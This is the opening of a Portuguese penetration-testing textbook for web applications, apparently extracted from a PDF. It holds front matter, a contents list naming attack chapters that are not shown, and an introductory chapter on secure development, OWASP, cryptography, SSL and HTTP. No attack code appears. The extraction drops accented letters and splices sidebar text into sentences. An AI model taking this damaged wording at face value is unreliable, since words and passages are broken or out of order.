Académique Documents
Professionnel Documents
Culture Documents
de Aplicaes
Web
Nelson Uto
Teste de Invaso
de Aplicaes
Web
Nelson Uto
Teste de Invaso
de Aplicaes
Web
Nelson Uto
Rio de Janeiro
Escola Superior de Redes
2013
Copyright 2013 Rede Nacional de Ensino e Pesquisa RNP
Rua Lauro Mller, 116 sala 1103
22290-906 Rio de Janeiro, RJ
Diretor Geral
Nelson Simes
Edio
Pedro Sangirardi
Verso
1.1.0
Este material didtico foi elaborado com fins educacionais. Solicitamos que qualquer erro encon-
trado ou dvida com relao ao material ou seu uso seja enviado para a equipe de elaborao de
contedo da Escola Superior de Redes, no e-mail info@esr.rnp.br. A Rede Nacional de Ensino e
Pesquisa e os autores no assumem qualquer responsabilidade por eventuais danos ou perdas, a
pessoas ou bens, originados do uso deste material.
As marcas registradas mencionadas neste material pertencem aos respectivos titulares.
Distribuio
Escola Superior de Redes
Rua Lauro Mller, 116 sala 1103
22290-906 Rio de Janeiro, RJ
http://esr.rnp.br
info@esr.rnp.br
ISBN 978-85-63630-17-9
CDD 005.8
Sumrio
OWASP5
Reviso de criptografia8
Cifras9
MACs11
Assinaturas digitais12
Certificados digitais12
Requisio16
Resposta17
Mtodos18
Cdigos de estado18
Cabealhos18
Cookies19
Autenticao HTTP19
iii
Esquemas de codificao20
Codificao de URL20
Codificao HTML21
Bibliografia 134
2. Reconhecimento e mapeamento
Introduo 37
Ferramentas bsicas42
Navegadores web43
Proxies de interceptao44
Web spiders46
Fuzzers47
Varredores de vulnerabilidades48
Outras ferramentas49
Reconhecimento51
Google hacking52
Mapeamento62
iv
Descoberta de vulnerabilidades e explorao65
Contramedidas67
Atividade 2 Reconhecimento74
Atividade 3 Mapeamento79
Bibliografia 285
Ataque de dicionrio110
Engenharia social119
Contramedidas120
v
Roteiro de Atividades 3123
Bibliografia 3132
Atributos de cookies144
Sequestro de sesso146
Clickjacking157
Contramedidas163
Bibliografia 4177
5. Cross-site scripting
Introduo179
Tipos de XSS180
XSS refletido181
XSS armazenado182
vi
XSS baseado em DOM182
Pontos de injeo189
Roteiros de teste191
Adulterao de pgina194
Evaso de filtros202
Arcabouos de explorao204
Contramedidas207
Cdigo do Yamanner209
Atividade 1 Introduo215
Bibliografia 5231
6. Injeo de SQL
Introduo233
Empilhamento de comandos237
Expresso condicional237
Comando de pausa238
vii
Operadores bit-a-bit239
Comentrios239
Locais de injeo240
Testes bsicos241
Escalada de privilgios250
Manipulao de arquivos262
Varredura de redes280
Partio e balanceamento285
Evaso de filtros296
Contramedidas297
Bibliografia 6313
7. Ataques de injeo
Introduo315
viii
Injeo de XPath335
Incluso de arquivos342
Contramedidas343
Bibliografia 7367
Percurso de caminho379
Redirecionamento no validado383
ix
Condies de corrida386
Contramedidas390
Bibliografia 8405
9. Mecanismos criptogrficos
Introduo407
Contramedidas419
Uso de BASE64421
x
Exerccio de fixao 3 ECB449
Contramedidas455
Bibliografia 9467
Base470
Tipos de relatrios474
Relatrio detalhado474
Relatrio executivo477
Apndice477
Bibliografia 10489
xi
xii
Escola Superior de Redes
A Escola Superior de Redes (ESR) a unidade da Rede Nacional de Ensino e Pesquisa
(RNP) responsvel pela disseminao do conhecimento em Tecnologias da Informao e
Comunicao (TIC).
A ESR oferece dezenas de cursos distribudos nas reas temticas: Administrao e Pro-
jeto de Redes, Administrao de Sistemas, Segurana, Mdias de Suporte Colaborao
Digital e Governana de TI.
A metodologia da ESR
A filosofia pedaggica e a metodologia que orientam os cursos da ESR so baseadas na
aprendizagem como construo do conhecimento por meio da resoluo de problemas tpi-
cos da realidade do profissional em formao. Os resultados obtidos nos cursos de natureza
terico-prtica so otimizados, pois o instrutor, auxiliado pelo material didtico, atua no
apenas como expositor de conceitos e informaes, mas principalmente como orientador do
aluno na execuo de atividades contextualizadas nas situaes do cotidiano profissional.
Dessa forma, o instrutor tem participao ativa e dialgica como orientador do aluno para as
atividades em laboratrio. At mesmo a apresentao da teoria no incio da sesso de apren-
dizagem no considerada uma simples exposio de conceitos e informaes. O instrutor
busca incentivar a participao dos alunos continuamente.
xiii
As sesses de aprendizagem onde se do a apresentao dos contedos e a realizao das
atividades prticas tm formato presencial e essencialmente prtico, utilizando tcnicas
de estudo dirigido individual, trabalho em equipe e prticas orientadas para o contexto de
atuao do futuro especialista que se pretende formar.
Sobre o livro
O livro apresenta uma metodologia de verificao da segurana por meio da simulao de
ataques reais, explorando as vulnerabilidades de um ambiente, plataforma ou sistema, os
quais so reconhecidamente os principais meios explorados para roubo de informaes
confidenciais e invaso de redes corporativas.
Para ser um profissional de pentest, preciso muito mais do que utilizar ferramentas
automatizadas: so necessrios conhecimentos diferenciados e tcnicas avanadas que
permitam a compreenso ampla de cenrios de vulnerabilidades.
Este livro apoia o curso de formao destes novos profissionais atravs das melhores pr-
ticas para testes de invaso, contendo atividades de simulao de ataques em ambiente de
teste virtualizado. Ao final do curso, o aluno estar apto a avaliar a eficincia da segurana
de sua organizao, e a propor o modelo de maturidade em segurana de software mais
adequado sua necessidade.
A quem se destina
Curso voltado para tcnicos, analistas e administradores de redes que desejam obter o
conhecimento sobre tcnicas, padres internacionais e ferramental para realizao de tes-
tes de invaso em aplicaes web. Tambm indicado para tcnicos e gestores responsveis
pelo desenvolvimento e suporte de sistemas, e para profissionais de computao interes-
sados em adquirir conhecimento diferencial na rea de segurana ciberntica.
xiv
Convenes utilizadas neste livro
As seguintes convenes tipogrficas so usadas neste livro:
Itlico
Indica nomes de arquivos e referncias bibliogrficas relacionadas ao longo do texto.
Largura constante
Contedo de slide
Indica o contedo dos slides referentes ao curso apresentados em sala de aula.
Smbolo
Indica referncia complementar disponvel em site ou pgina na internet.
Smbolo
Indica um documento como referncia complementar.
Smbolo
Indica um vdeo como referncia complementar.
Smbolo
Indica um arquivo de adio como referncia complementar.
Smbolo
Indica um aviso ou precauo a ser considerada.
Smbolo
Indica questionamentos que estimulam a reflexo ou apresenta contedo de apoio ao
entendimento do tema em questo.
Smbolo
Indica notas e informaes complementares como dicas, sugestes de leitura adicional ou
mesmo uma observao.
Permisses de uso
Todos os direitos reservados RNP.
Agradecemos sempre citar esta fonte quando incluir parte deste livro em outra obra.
Exemplo de citao: UTO, Nelson. Teste de Invaso de Aplicaes Web. Rio de Janeiro: Escola
Superior de Redes, RNP, 2013.
Comentrios e perguntas
Para enviar comentrios e perguntas sobre esta publicao:
Escola Superior de Redes RNP
Endereo: Av. Lauro Mller 116 sala 1103 Botafogo
Rio de Janeiro RJ 22290-906
E-mail: info@esr.rnp.br
xv
Sobre os autores
Nelson Uto bacharel e mestre em Cincia da Computao pela Universidade Estadual de
Campinas Unicamp. Durante o mestrado, realizado sob superviso do Prof. Dr. Ricardo
Dahab, abordou a segurana de sistemas de agentes mveis e implementou, para a plata-
forma Aglets da IBM, alguns dos mecanismos estudados. Neste mesmo perodo, avaliou
artigos para congressos nacionais em Segurana da Informao e para o peridico Journal
of Universal Computer Science. Possui, tambm, vrios artigos publicados em congressos
nacionais e internacionais, discorrendo sobre diversos temas de Segurana da Informa-
o. Trabalha na rea de TI h 15 anos, sendo 9 deles em Segurana da Informao e, em
especial, em criptografia aplicada e segurana de software. Nesta rea, dentre os projetos
de pesquisa e de consultoria dos quais participou, pode-se citar: criptoanlise de arquivos
gerados por malwares; testes de invaso de aplicaes web e cliente-servidor; anlise de
vulnerabilidades em implementaes criptogrficas; aplicao da tcnica K-Means para a
gerao semiautomtica de regras de correlao de eventos de segurana; gerenciamento
de chaves criptogrficas; anlise de bibliotecas com suporte Criptografia de Curvas Elpti-
cas para as plataformas XScale e x86; verificao da correo dos algoritmos criptogrficos
implementados por uma biblioteca comercial; anlise de riscos de sistemas com base na
norma ISO/IEC 18028; avaliao de vulnerabilidades de sistemas operacionais e SGBDs;
elaborao de polticas de segurana e auditoria PCI. Tem experincia no desenvolvimento
de softwares em linguagens C, C++, Java e Assembly x86. Como projetos mais interessan-
tes nesse domnio esto a criao de um driver ODBC-JDBC e um tradutor 4GL-Java, para a
gerao automtica de cdigo semanticamente equivalente em Java a partir de programas
em 4GL. Por fim, professor de graduao e ps-graduao, ministrando disciplinas nas
reas de Segurana e Tecnologia da Informao, alm de coordenar h trs anos um curso
de ps-graduao em segurana.
xvi
Dedico este trabalho:
Marcia Hoffmann, pela companhia, amor e pacincia;
minha famlia, pela educao que me foi dada;
Aos verdadeiros amigos, que sempre me estenderam a mo quando precisei;
A todos os autores que, ao compartilharem conhecimento, auxiliaram a criao deste livro.
Nelson Uto
xvii
xviii
1
Segurana em aplicaes web
objetivos
conceitos
Ciclo de desenvolvimento de software seguro, arquiteturas e tecnologias de
aplicaes web, criptografia, pro-tocolos HTTP e HTTPS.
Introduo
Vulnerabilidades em softwares tm sido amplamente utilizadas por atacantes para q
roubo de informaes confidenciais e invases de redes corporativas.
Facilmente, eles atingem dezenas de milhares de linhas de cdigo, que contm, invariavel-
mente, quantidade de defeitos significativa. Alguns destes tm impacto direto em segurana,
podendo acarretar desde a indisponibilidade do sistema at o controle total do computador
por um atacante. Para piorar ainda mais esse cenrio, considere que, normalmente, um
ciclo de desenvolvimento de software seguro no adotado, o que resulta, no mnimo, em
especificaes inseguras e configurao vulnervel das plataformas subjacentes.
Common Para se ter uma ideia mais clara do mundo real, no perodo de 2001 a 2006 o nmero de
Vulnerabilites
and Exposures vulnerabilidades em sistemas reportado ao Common Vulnerabilities and Exposures sim-
Dicionrio pblico plesmente triplicou. Alm disso, houve mudana nos tipos de fraquezas mais comumente
contendo descries
encontradas, como possvel observar na Figura 1. O extravasamento de buffer, campeo
de vulnerabilidades de
Captulo 1 - Segurana em aplicaes web
segurana descobertas. da lista por muitos anos consecutivos, perdeu o lugar, a partir de 2005, para vulnerabili-
SQL dades de injeo de cdigo, como o cross-site scripting e injeo de SQL, por exemplo. Esses
Structured Query tipos de fraquezas afetam, basicamente, sistemas web e indicam duas coisas:
Language uma
linguagem baseada 1 A recente popularizao das interfaces web para comrcio eletrnico, internet banking
na lgebra relacional, e configurao de elementos de rede.
que utilizada para
manipular informaes 1 Os problemas de segurana desse domnio no esto sendo adequadamente conside-
contidas em bancos de rados durante o processo de desenvolvimento, tanto por ignorncia como pela presso
dados relacionais.
causada por cronogramas de entrega apertados.
1
dos limites alocados para uma dada estrutura, como um vetor, por exemplo. O resultado da
explorao do problema pode ser desde um trmino abrupto do programa at o controle
total do sistema operacional.
% do total de vulnerabilidades reportado ao CVE
25
20
15
Cross-site scripting
Extravasamento de buer
10
Injeo SQL
Navegao de diretrio
5 PHP Include
Vazamento de informao
Negao de servio
0
2001 2002 2003 2004 2005 2006 Estouro de inteiro
Ano
possvel considerar, de modo geral, que nem um software est livre de vulnerabilidades de Figura 1.1
segurana, principalmente quando a complexidade deles for grande. Progresso da ocor-
q
rncia das principais
A melhor estratgia a ser adotada, ento, consiste em encontrar essas vulnerabilidades vulnerabilidades
reportadas ao CVE.
o mais cedo possvel e corrigi-las imediatamente, antes que sejam exploradas por usu-
rios maliciosos. Veja algumas maneiras de realizar essa tarefa:
1 Teste de invaso: esse o tema deste curso e consiste na execuo de ataques visando
violar os requisitos de segurana explcitos e implcitos de uma aplicao. O processo
todo realizado ciclicamente e, a cada interao, a base de conhecimento sobre o
sistema aumenta e novas vulnerabilidades podem ser descobertas e exploradas.
2
Exerccio de nivelamento 1 e
Desenvolvimento de software
Sua organizao adota um ciclo de desenvolvimento de software seguro?
Definio 1
Projeto detalhado 5
Codificao 10
Teste de unidade 15
Figura 1.2
Custo relativo de Teste de integrao 22
correo de software
de acordo com a Teste de sistema 50
fase do ciclo de
desenvolvimento. Ps-entrega 100
3
Cada fase de um ciclo de desenvolvimento de software seguro, portanto, tem sua parcela de
contribuio para a qualidade do resultado final e no pode ser omitida durante o processo.
Na etapa de especificao, requisitos explcitos de segurana devem ser enumerados e
requisitos funcionais devem ser avaliados para verificar se no introduzem uma vulnerabi-
lidade no sistema. Um caso ilustrativo o do suposto Microsoft Bob, um programa criado
para auxiliar o usurio do sistema operacional sempre que se encontrasse em dificuldades
na realizao de alguma tarefa. Seguindo essa filosofia, sempre que um usurio errasse
a senha trs vezes consecutivas, ele aparecia e perguntava se desejava troc-la, para
conectar-se ao ambiente (McGraw, 2006). Nessa situao, no importa quo bem implemen-
tada esteja a funcionalidade: o sistema continuar intrinsecamente inseguro.
mente inseguros de programao, como o uso das funes strcpy() e strcmp() em C/C++.
de algumas tarefas nesse processo pode implicar ganho de produtividade, mas o papel do
especialista continua sendo fundamental.
4
criptogrficas devem ser adotados (Menezes et al., 2001; Barker et al., 2007a,b). E, no caso de
comprometimento do sistema, o problema deve ser identificado e imediatamente corrigido.
Exerccio de fixao 1 e
Atividades de segurana
Que atividades de segurana podem ser includas em cada etapa de um ciclo de desenvolvi-
mento de software seguro?
OWASP
O grupo Open Web Application Security Project uma organizao mundial, sem fins lucra-
tivos, que visa divulgar aspectos de segurana de aplicaes web, para que o risco nesses
ambientes seja devidamente avaliado por pessoas e empresas. Existem, hoje, 130 captulos
locais, espalhados pelos cinco continentes, todos abertos, gratuitamente, para participao
de pessoas interessadas no assunto. A entidade, alm de organizar conferncias internacio-
nais e encontros sobre o tema, mantm diversos projetos, que variam de guias de imple-
mentao segura a ferramentas.
Os trabalhos do OWASP relevantes para este curso esto brevemente descritos nos q
pargrafos a seguir:
1 Top Ten: uma lista, j na terceira verso, das dez vulnerabilidades de maior risco
presentes em aplicaes web, segundo a experincia prtica de diversos especialistas
membros da organizao. Por essa razo, foi adotado pelos padres PCI DSS (PCI, 2009a)
e PCI PA-DSS (PCI, 2009b) para figurar como os itens mnimos que devem ser conside-
rados na codificao segura de sistemas web.
1 Guia de testes (Meucci et al., 2008): fornece metodologia e procedimentos detalhados para
Captulo 1 - Segurana em aplicaes web
a realizao de testes de invaso em aplicaes web, com cobertura das principais vulnera-
bilidades conhecidas. So apresentados testes caixa-preta e, tambm, caixa-cinza.
1 Guia de reviso de cdigo (Van der Stock et al., 2008): livro que ilustra como encon-
trar vulnerabilidades em aplicaes web, por meio da inspeo do cdigo-fonte.
Contm exemplos em diversas linguagens, como Java, C, C++ e ASP.
5
1 WebGoat: uma aplicao web propositadamente insegura, criada com o objetivo de q
ensinar os conceitos de segurana web e testes de invaso. Parte dos exemplos deste
texto baseada nessa ferramenta.
q
e Discover para mini-
mizar riscos envolven-
Observe que, nesse estgio inicial, os stios web eram centrados nos documentos e no
do pagamentos com
nos usurios. Diferentemente, uma aplicao web interage com as pessoas que a uti- cartes de crdito e
lizam, recebendo, devolvendo e atualizando informaes contidas nas fontes de dados dbito. O padro est
organizado em doze
da aplicao, de maneira dinmica.
requisitos principais
Um fluxo comum de processamento compreende os seguintes passos (Shklar, 2009): que cobrem segurana
de redes, proteo de
recebimento da requisio do usurio; interpretao da solicitao e subsequente enca- dados de carto arma-
minhamento; controle do acesso, por meio de autenticao e verificao dos privilgios; zenados, transmisso
acesso e atualizao de dados, de acordo com a lgica de negcio; personalizao da segura, segurana fsi-
ca e poltica de segu-
resposta, para atender aos diversos tipos de aplicaes clientes e caractersticas nicas rana, dentre outros.
dos usurios; e a transmisso da resposta para apresentao ao usurio. Payment Card Industry
Payment Application
As primeiras aplicaes web implementavam todas as etapas acima de maneira progra- Data Security Standard
mtica, utilizando tecnologias como CGI e Servlets Java. (PCI PA-DSS) um
padro mantido pelo
O grande problema que os sistemas eram monolticos, isto , as camadas de apresen- conselho PCI que tem
por objetivo auxiliar as
tao, lgica de negcios e de dados eram todas misturadas em um ou mais programas.
empresas de software
Assim, uma modificao incorreta no cdigo que construa uma tela poderia afetar uma de pagamento eletrni-
regra de manipulao de informao. Similarmente, a troca de um sistema gerenciador de co a desenvolver sis-
temas que no violem
banco de dados por outro no podia ser feita transparentemente. Outro inconveniente requisitos prescritos
que o leiaute da pgina ficava sob a responsabilidade dos programadores, que, normal- no PCI DSS e, assim,
mente, no possuam as habilidades necessrias nessa arena. no impedir estabele-
q
cimentos comerciais e
provedores de servios
Uma abordagem alternativa, visando minimizar esse problema, consiste na gerao de
a obter a certificao.
pginas HTML a partir de modelos (templates) que se baseiam em estruturas de forma-
tao e permitem uma quantidade limitada de cdigo embutido para incluso dinmica
Teste de Invaso de Aplicaes Web
de dados. Exemplos dessa soluo incluem o Cold Fusion, Apache Velocity e Server-Side
Includes (SSI), atuando em parceria com CGI.
6
Solues hbridas procuraram mesclar modelos orientados a pginas com o poder q
oferecido pela programao. Active Server Pages (ASP), da Microsoft, PHP e JavaServer
Pages (JSP), da Sun, foram tecnologias que enveredaram por esse caminho.
Embora ainda hoje seja possvel encontrar sistemas desenvolvidos com todas essas
tecnologias, aplicaes web modernas, normalmente, so construdas com base em um
modelo de n-camadas. O objetivo separar totalmente a lgica de negcio das camadas
de dados e de apresentao ao usurio e obter, com isso, total flexibilidade na seleo
de tecnologias e manuteno do sistema.
Para exemplificar, imagine uma aplicao que armazena informaes em arquivos de texto
e que, por algum motivo, um sistema gerenciador de bancos de dados deva ser adotado
no lugar. Como o acesso s informaes ocorre por meio de uma interface bem definida e
abstrata da camada de dados, a alterao no impacta o cdigo que as utiliza.
FW+WAF
Figura 1.3
Topologia de uma
aplicao em
n-camadas.
7
Componente Exemplos
Exerccio de nivelamento 2 e
Requisitos de segurana
Que requisitos de segurana da informao podem ser atendidos por mecanismos criptogrficos?
Reviso de criptografia
Os primeiros vestgios de criptografia datam da poca dos egpcios, os quais utilizaram
hierglifos irregulares na representao de algumas informaes. O objetivo de tal prtica
Teste de Invaso de Aplicaes Web
era o de prover o sigilo da informao, que foi o nico requisito de segurana almejado pela
One-time pad
criptografia clssica e pr-moderna. Muitos dos algoritmos desenvolvidos nessas fases
Cifra simtrica de
foram utilizados na proteo de mensagens to importantes, como aquelas transmitidas fluxo cuja segurana
por governantes aos generais em batalha, mas nenhum deles foi construdo com uma forte incon-dicional, isto ,
independente-mente do
fundamentao e entendimento dos ataques possveis. Consequentemente, a maioria
poder computacional
desses mecanismos sucumbiu aos mais diversos ataques concebidos. existente hoje e no
futuro, ou de avanos
Pode-se dizer que esse perodo durou at o artigo seminal de Shannon (1949), que demons- na matemtica, no
trou a segurana incondicional do algoritmo one-time pad e introduziu o uso da matem- possvel quebr-la.
tica nessa rea de estudo.
8
A criptografia moderna, nascida desse marco, compreende um conjunto de tcnicas q
matemticas e computacionais utilizado para atender os seguintes requisitos de segu-
rana da informao: confidencialidade, integridade, irretratabilidade, autenticidade da
origem da mensagem e autenticidade de entidades.
Cifras
Cifras so mecanismos criptogrficos utilizados na proteo do sigilo da informao e q
so compostos de uma transformao de ciframento e outra de deciframento.
A primeira recebe como entradas um texto em claro e uma chave de ciframento e resulta em
um texto cifrado, que prov a confidencialidade da informao. Logo, o texto cifrado pode ser
enviado para o destinatrio por canais potencialmente inseguros, sem o risco de um atacante
interceptar o canal de comunicao e violar o sigilo da mensagem. A segunda transformao
utilizada para recuperar o texto original a partir do texto cifrado e da chave de deciframento.
Alice Beto
Chave de Chave de
ciframento deciframento
Texto em Texto em
claro Algoritmo de Texto cifrado Algoritmo de claro
ciframento deciframento
Canal
Captulo 1 - Segurana em aplicaes web
inseguro
???
Figura 1.5 $%^!,78g
Modelo geral para @%*&():A
Eva
o uso de cifras.
9
Cifras simtricas
Uma cifra dita simtrica ou de chave secreta quando fcil computacionalmente q
determinar uma chave a partir da outra e, em muitos casos prticos, as duas so
iguais. Por esse motivo, as chaves devem ser conhecidas apenas pelas partes que par-
ticipam da comunicao.
Isso ocorre porque quaisquer duas entidades que queiram se comunicar de forma confiden-
cial precisam compartilhar uma chave. Em uma rede com vrias entidades, considerando-se
que todo mundo deseja comunicar-se seguramente com o restante das pessoas do grupo,
o nmero total de chaves dado pelo nmero de combinaes de n, dois a dois, isto , Cn,2.
As cifras simtricas podem ser classificadas em cifras de blocos e cifras de fluxo. As pri-
meiras so aquelas que dividem o texto em claro em blocos de tamanho fixo e processam
um bloco por vez, com a mesma chave de ciframento. As cifras de fluxo, por sua vez, podem
ser consideradas cifras de blocos simples com tamanho unitrio, mas que podem variar a
chave de ciframento utilizada para transformar cada bloco. A sequncia de chaves utilizadas
chamada de fluxo de chaves.
Cifras assimtricas
Uma cifra chamada de assimtrica quando so utilizadas chaves diferentes para q
ciframento (chave pblica) e deciframento (chave privada), mas que so relacionadas
matematicamente. Somente a ltima precisa ser mantida em sigilo e, naturalmente,
deve ser computacionalmente infactvel recuper-la a partir da chave pblica, que pode
ser distribuda livremente.
Essas cifras so muito mais lentas que as cifras simtricas e necessitam de chaves
maiores para garantir um mesmo nvel de segurana.
Por outro lado, o nmero de chaves utilizadas bem menor: cada entidade precisa apenas de
um par de chaves e, assim, em uma rede com n entidades, haver somente n pares de chaves.
Para ilustrar um problema inerente a essa classe de cifras, imagine o seguinte cenrio: Alice
deseja enviar uma mensagem secreta para Beto. Ela ento obtm a chave pblica dele de uma
fonte qualquer (uma pgina web, um anncio de jornal etc.), utiliza-a para cifrar a mensagem
Teste de Invaso de Aplicaes Web
e envia o resultado a Beto. Como somente Beto possui a chave privada correspondente,
somente ele capaz de recuperar a mensagem original. Mas o que aconteceria se Eva, curiosa
por saber das mensagens alheias, tivesse fornecido sua chave pblica Alice como sendo a
de Beto? Como Eva possui a chave privada correspondente, ela capaz de obter a mensagem
original de Alice e, em seguida, cifr-la com a chave pblica de Beto, enviando-lhe o resultado.
No fim desse cenrio, Alice no saberia que sua mensagem foi revelada a outra parte que no
Beto. O ataque foi possvel porque no se verificou a autenticidade da chave pblica utilizada,
o que pode ser realizado por meio de certificados de chave pblica.
10
Funes de hash criptogrficas
Uma funo de hash criptogrfica uma funo computacionalmente eficiente que q
mapeia cadeias binrias de tamanho arbitrio para cadeias binrias de tamanho fixo
qualquer, chamadas de valores hash (Menezes et al., 2001).
Esses valores constituem uma espcie de impresso digital da cadeia mapeada e, por
isso, podem ser empregadas para verificao de integridade da informao.
Trs propriedades precisam ser satisfeitas, para que essas funes tenham utilidade
criptogrfica:
dificuldade de fatorao
de inteiros grandes. tais fraudulentos, mas reconhecidos como autnticos pelos navegadores web e aplicaes.
Criado por Rivest,
Shamir e Adleman, foi
MACs
q
o primeiro algoritmo
a implementar o
Message Authentication Code (MAC) um mecanismo criptogrfico simtrico que tem
conceito de criptografia
assimtrica, introduzido por objetivo prover integridade da informao e autenticidade da origem da mensagem.
por Diffie e Hellman.
Message Authentication Code (MAC) um mecanismo criptogrfico simtrico que tem por
objetivo prover integridade da informao e autenticidade da origem da mensagem. Aceita
como entradas uma mensagem e uma chave simtrica e gera como resultado um cdigo de
autenticao. Devido simetria da chave, que compartilhada entre os usurios de uma
11
comunicao, no possvel garantir a irretratabilidade, pois qualquer um deles capaz de
gerar o mesmo MAC para uma dada mensagem.
Dessas trs propriedades, a nica relacionada segurana a ltima. Caso ela seja que-
brada, possvel forjar o MAC para uma mensagem e pass-la por autntica.
Assinaturas digitais
A assinatura digital uma primitiva criptogrfica essencial para prover autenticao da q
origem da mensagem, integridade e irretratabilidade. Por meio desse mecanismo, uma
entidade capaz de associar a identidade dela a uma informao.
Certificados digitais
Existe muita confuso na literatura e entre profissionais de segurana sobre o que realmente
um certificado digital. muito comum encontrar afirmaes de que ele serve para autenticar
uma entidade, como um servidor web, por exemplo. Mas isso est longe de ser a verdade.
12
O propsito de um certificado, na realidade, atestar a autenticidade da chave pblica q
de uma entidade, condio que fundamental para o emprego de criptossistemas assi-
mtricos (Menezes et al., 2001).
Isso obtido pela confiana depositada em uma terceira parte confivel, a autoridade
certificadora (AC), que assina digitalmente um documento eletrnico contendo infor-
maes sobre uma dada entidade e a chave pblica autntica dela. Esses dados, mais
a assinatura digital, compem o certificado digital, que pode ser distribudo por canais
inseguros, sem o risco de adulterao indetectvel.
A emisso, como chamado o processo descrito, deve ocorrer apenas aps a AC, com a
diligncia devida, verificar documentos comprobatrios da identidade da entidade e que
ela tem a posse da chave privada associada. Para validar um certificado digital, neces-
srio verificar se a data atual est dentro do prazo de validade do certificado, se ele no
est revogado e se a assinatura digital da autoridade certificadora vlida (esse processo
executado recursivamente ao longo da cadeia de certificao). Essa ltima parte requer
a chave pblica autntica da AC, a qual pode ser obtida por meio de um certificado digital
emitido para ela, por uma AC de nvel superior, ou por meio de um certificado autoassinado,
caso seja uma AC raiz. Nesse ltimo caso, o certificado assinado com a prpria chave
privada associada chave pblica contida nele. Uma vez que qualquer pessoa pode gerar
um certificado assim, primordial que ele seja fornecido por um canal autntico e ntegro.
A verso 3 do SSL foi avaliada publicamente e deu origem ao Transport Layer Security (TLS)
IETF v1.0, padronizado pelo IETF.
Internet Engineering
Task Force uma Desse modo, preenche a lacuna existente na pilha TCP/IP, com relao a um mecanismo de
organizao aberta, sem transporte seguro de informaes fim-a-fim. Os protocolos especificados pelo padro esto
um processo formal
ilustrados na Figura 1.6.
de filiao, que define
padres tecnolgicos
para a internet. SSL Handshake SSL Change SSL Alert
HTTP Telnet
Protocol Cipher Spec Protocol
TCP
Captulo 1 - Segurana em aplicaes web
Figura 1.6
Pilha de protocolos IP
do SSL.
Ele utilizado pelos demais protocolos da pilha SSL e por protocolos da camada de apli-
cao, como o HTTP e o FTP, por exemplo. O dado de aplicao a ser transportado frag-
mentado em diversos blocos que so tratados individualmente. Em alguns casos, ocorre
compresso antes que o MAC seja calculado e adicionado ao final do bloco. O conjunto
cifrado com o algoritmo simtrico definido pelo handshake e, em seguida, adicionado o
13
cabealho SSL Record, que inclui a verso de SSL empregada e identificao do protocolo de
camada superior que processar o fragmento.
Dados da aplicao
Fragmentos
Compresso
Adio de MAC
Ciframento
Figura 1.7
Adio do cabealho SSL Record
SSL Record Protocol.
O prximo protocolo importante, executado no incio da conexo, o SSL Handshake (Figura 1.8),
que utilizado para autenticao do servidor (e eventualmente do cliente) e definio das
caractersticas de segurana a serem utilizadas na proteo do canal. No passo 1, o cliente
envia ao servidor as sutes criptogrficas suportadas, verso de protocolo, identificador de
sesso e um nmero gerado pseudoaleatoriamente. O servidor devolve uma mensagem
com a sute escolhida, verso do protocolo, outro nmero pseudoaleatrio e o mesmo iden-
tificador de sesso, caso o valor fornecido seja no nulo. O certificado digital do servidor
enviado no passo 2, juntamente com uma solicitao de certificado do cliente, caso a auten-
ticao mtua tenha sido configurada. Nesse caso, esse certificado fornecido no passo 3,
quando tambm so enviadas informaes para o estabelecimento de chaves.
Na ltima etapa, os algoritmos selecionados so ativados por meio do protocolo SSL Change
Cipher Spec e a mensagem finished, enviada protegida com os novos parmetros, utilizada para
verificar se o protocolo transcorreu com sucesso. Isso s possvel se cada uma das partes con-
seguir decifrar corretamente essa ltima mensagem enviada. Por fim, o SSL Alert Protocol utili-
zado para transportar mensagens de alerta entre os pares de uma sesso SSL. Cada mensagem
composta de apenas dois bytes, que indicam a severidade do alerta e a notificao especfica.
Teste de Invaso de Aplicaes Web
14
Cliente Servidor
clien
t_he
llo
(1)
hell o
se rver_
e
cat
certi
nge
y_e xcha
e r_ke
serv
t
ques (2)
ca te_re
certi
done
r_h ello_
s erve
Tempo
certi
cat
e
clien
t_key
_exc
hang (3)
e
certi
cat
e_ve
rify
chan
ge_c
iphe
r_sp
ec
nis
hed
(4)
ec
he r_sp
g e_cip
chan
hed
nis
Figura 1.8
SSL Handshake.
Exerccio de fixao 2 e
Segurana da informao
Que primitivas criptogrficas satisfazem a cada um dos requisitos de segurana da informao? Captulo 1 - Segurana em aplicaes web
15
Reviso dos protocolos HTTP e HTTPS
HyperText Transfer Protocol (HTTP) um protocolo da camada de aplicao, que opera q
como cliente-servidor e no orientado a conexo. Os recursos so identificados de
maneira nica por meio de Uniform Resource Locators (URLs). HTTP no possui nativa-
mente nenhum mecanismo para proteger os dados.
O protocolo opera no estilo cliente-servidor, no qual o navegador web (cliente) realiza uma
requisio de recurso a um servidor web, que responde com o contedo solicitado, se existir.
HTTP no orientado conexo e, assim, um protocolo que no mantm estado das con-
versaes. O transporte dos dados, normalmente, realizado por meio de TCP/IP, mas isso
no um requisito; basta que o protocolo utilizado fornea entrega confivel. Apesar disso,
o HTTP no orientado conexo e, assim, um protocolo que no mantm o estado das
conversaes. Considerando como era utilizado nos primrdios, isso, de fato, no era uma
necessidade. Os recursos so identificados de maneira nica por meio de Uniform Resource
Locators (URLs), que correspondem aos endereos que usurios digitam nos navegadores
para acessarem sites especficos. Uma URL define o protocolo de acesso, o servidor do
recurso, porta utilizada, caminho no servidor at o elemento, nome do recurso e parmetros.
Note que nem todos esses itens so obrigatrios em uma requisio.
Requisio
Para acessar um recurso em um servidor, uma requisio HTTP deve ser realizada pelo q
Teste de Invaso de Aplicaes Web
Como ilustrao, considere que um usurio deseja ver o site da Escola Superior de Redes da
RNP, utilizando o navegador Firefox. A seguinte requisio feita pelo software:
16
rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/
xml;q=0.9,*/*;q=0.8
Accept-Language: pt-br,pt;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
A primeira linha sempre composta por um mtodo HTTP (GET), o recurso identificado por
uma URL (http://esr.rnp...) e a verso do protocolo utilizada (HTTP/1.1). As demais linhas do
exemplo so cabealhos, que identificam, entre outras coisas, o nome de domnio do ser-
vidor, o navegador utilizado, o tipo de sistema operacional do cliente e tipos de contedos e
codificaes aceitos.
Resposta
A resposta do servidor a uma requisio, tambm, composta por trs sees: q
1 Linha de estado descrevendo o protocolo e verso utilizados, cdigo de estado e um
valor textual, que no interpretado, hoje, pelos navegadores.
HTTP/1.1 200 OK
Date: Thu, 09 Sep 2010 01:07:53 GMT
